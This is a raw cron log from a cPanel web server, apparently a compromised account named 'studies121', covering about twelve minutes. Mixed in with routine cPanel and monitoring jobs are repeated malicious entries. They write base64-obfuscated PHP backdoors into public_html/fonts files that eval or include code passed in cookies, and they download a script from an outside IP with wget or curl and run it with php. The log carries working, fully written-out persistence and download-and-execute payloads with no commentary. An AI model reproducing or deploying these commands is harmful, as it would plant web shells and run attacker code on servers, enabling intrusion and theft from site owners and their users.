Sep 11 21:40:01 ip-184-168-122-23 CROND[8202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:40:01 ip-184-168-122-23 CROND[8204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:40:01 ip-184-168-122-23 CROND[8206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:40:01 ip-184-168-122-23 CROND[8210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:40:01 ip-184-168-122-23 CROND[8208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:40:01 ip-184-168-122-23 CROND[8209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:40:01 ip-184-168-122-23 CROND[8211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:40:01 ip-184-168-122-23 CROND[8212]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:41:01 ip-184-168-122-23 CROND[8306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:41:01 ip-184-168-122-23 CROND[8307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:41:01 ip-184-168-122-23 CROND[8308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:41:01 ip-184-168-122-23 CROND[8309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:42:01 ip-184-168-122-23 CROND[8469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:42:01 ip-184-168-122-23 CROND[8470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:42:01 ip-184-168-122-23 CROND[8472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:42:01 ip-184-168-122-23 CROND[8473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:42:01 ip-184-168-122-23 CROND[8471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:43:01 ip-184-168-122-23 CROND[8565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:43:01 ip-184-168-122-23 CROND[8566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:43:01 ip-184-168-122-23 CROND[8569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:43:01 ip-184-168-122-23 CROND[8567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:44:01 ip-184-168-122-23 CROND[8653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:44:01 ip-184-168-122-23 CROND[8656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:44:01 ip-184-168-122-23 CROND[8654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:44:01 ip-184-168-122-23 CROND[8657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:44:01 ip-184-168-122-23 CROND[8655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:45:01 ip-184-168-122-23 CROND[8748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:45:01 ip-184-168-122-23 CROND[8752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:45:01 ip-184-168-122-23 CROND[8751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:45:01 ip-184-168-122-23 CROND[8754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:45:01 ip-184-168-122-23 CROND[8750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:45:01 ip-184-168-122-23 CROND[8753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:46:01 ip-184-168-122-23 CROND[8853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:46:01 ip-184-168-122-23 CROND[8855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:46:01 ip-184-168-122-23 CROND[8857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:46:01 ip-184-168-122-23 CROND[8856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:46:01 ip-184-168-122-23 CROND[8858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:46:01 ip-184-168-122-23 CROND[8859]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 21:46:01 ip-184-168-122-23 CROND[8860]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:47:01 ip-184-168-122-23 CROND[9057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:47:01 ip-184-168-122-23 CROND[9058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:47:01 ip-184-168-122-23 CROND[9059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:47:01 ip-184-168-122-23 CROND[9061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:48:02 ip-184-168-122-23 CROND[9140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:48:02 ip-184-168-122-23 CROND[9141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:48:02 ip-184-168-122-23 CROND[9142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:48:02 ip-184-168-122-23 CROND[9144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:48:02 ip-184-168-122-23 CROND[9146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:49:01 ip-184-168-122-23 CROND[9241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:49:01 ip-184-168-122-23 CROND[9243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:49:01 ip-184-168-122-23 CROND[9242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:49:01 ip-184-168-122-23 CROND[9244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:50:01 ip-184-168-122-23 CROND[9338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:50:01 ip-184-168-122-23 CROND[9340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:50:01 ip-184-168-122-23 CROND[9343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:50:01 ip-184-168-122-23 CROND[9344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:50:01 ip-184-168-122-23 CROND[9347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:50:01 ip-184-168-122-23 CROND[9346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:50:01 ip-184-168-122-23 CROND[9348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:50:01 ip-184-168-122-23 CROND[9350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:50:01 ip-184-168-122-23 CROND[9349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:51:01 ip-184-168-122-23 CROND[9450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:51:01 ip-184-168-122-23 CROND[9453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:51:01 ip-184-168-122-23 CROND[9452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:51:01 ip-184-168-122-23 CROND[9454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:52:01 ip-184-168-122-23 CROND[9623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
